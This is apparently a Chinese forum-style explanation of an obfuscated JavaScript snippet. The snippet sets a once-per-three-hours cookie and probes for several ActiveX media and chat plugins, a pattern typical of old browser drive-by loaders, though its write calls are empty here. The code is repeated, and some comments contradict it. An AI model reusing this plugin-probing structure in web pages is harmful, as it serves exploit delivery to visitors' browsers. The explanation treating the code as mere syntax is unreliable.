var FrbWzrb1 = new window["Date"]() //创建一个时间变量
FrbWzrb1["setTime"](FrbWzrb1["getTime"]() + 3*60*60*1000)//设置这个时间
var wuH2$2 = new window["String"](window["document"]["cookie"]) //创建一个string对象,值为你的网站生存的cookie
var iofDwLY3 = "Cookie1=" //声明一个变量,值是Cookie1,是为下面一句要查找的cookie的键名称
var wDLXQUhnW4 = wuH2$2["indexOf"](iofDwLY3)//查找cookie中的Cookie1键名称的位置if (wDLXQUhnW4 == -1) //如果cookie中存在Cookie1的键
{
window["document"]["cookie"] = "Cookie1=POPWINDOS;expires="+ FrbWzrb1["toGMTString"]()//设置键名称为Cookie1的值并重新生成cookie
//下面的代码是创建你注册表上的注册的activeobject对象,如果能创建就调用window["document"]["write"]('')
try{if(new ActiveXObject("Microsoft.XMLHTTP"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("IERPCtl.IERPCtl.1"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("MPS.StormPlayer.1"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))window["document"]["write"]('');}catch(e){}
} 其实这个写法只是使用window对象的另一种写法
var FrbWzrb1 = new window["Date"]() 其实和var FrbWzrb1=new Date();一样了window["document"]["write"](''); == document.write('');只是很少window["document"]["write"]('');这样写的
FrbWzrb1["setTime"](FrbWzrb1["getTime"]() + 3*60*60*1000)//设置这个时间
var wuH2$2 = new window["String"](window["document"]["cookie"]) //创建一个string对象,值为你的网站生存的cookie
var iofDwLY3 = "Cookie1=" //声明一个变量,值是Cookie1,是为下面一句要查找的cookie的键名称
var wDLXQUhnW4 = wuH2$2["indexOf"](iofDwLY3)//查找cookie中的Cookie1键名称的位置if (wDLXQUhnW4 == -1) //如果cookie中存在Cookie1的键
{
window["document"]["cookie"] = "Cookie1=POPWINDOS;expires="+ FrbWzrb1["toGMTString"]()//设置键名称为Cookie1的值并重新生成cookie
//下面的代码是创建你注册表上的注册的activeobject对象,如果能创建就调用window["document"]["write"]('')
try{if(new ActiveXObject("Microsoft.XMLHTTP"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("IERPCtl.IERPCtl.1"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("MPS.StormPlayer.1"))window["document"]["write"]('');}catch(e){}
try{if(new ActiveXObject("GLCHAT.GLChatCtrl.1"))window["document"]["write"]('');}catch(e){}
} 其实这个写法只是使用window对象的另一种写法
var FrbWzrb1 = new window["Date"]() 其实和var FrbWzrb1=new Date();一样了window["document"]["write"](''); == document.write('');只是很少window["document"]["write"]('');这样写的
就如
var a
var b等价于var a;
var b;使用;来分离语句是比较好的编程习惯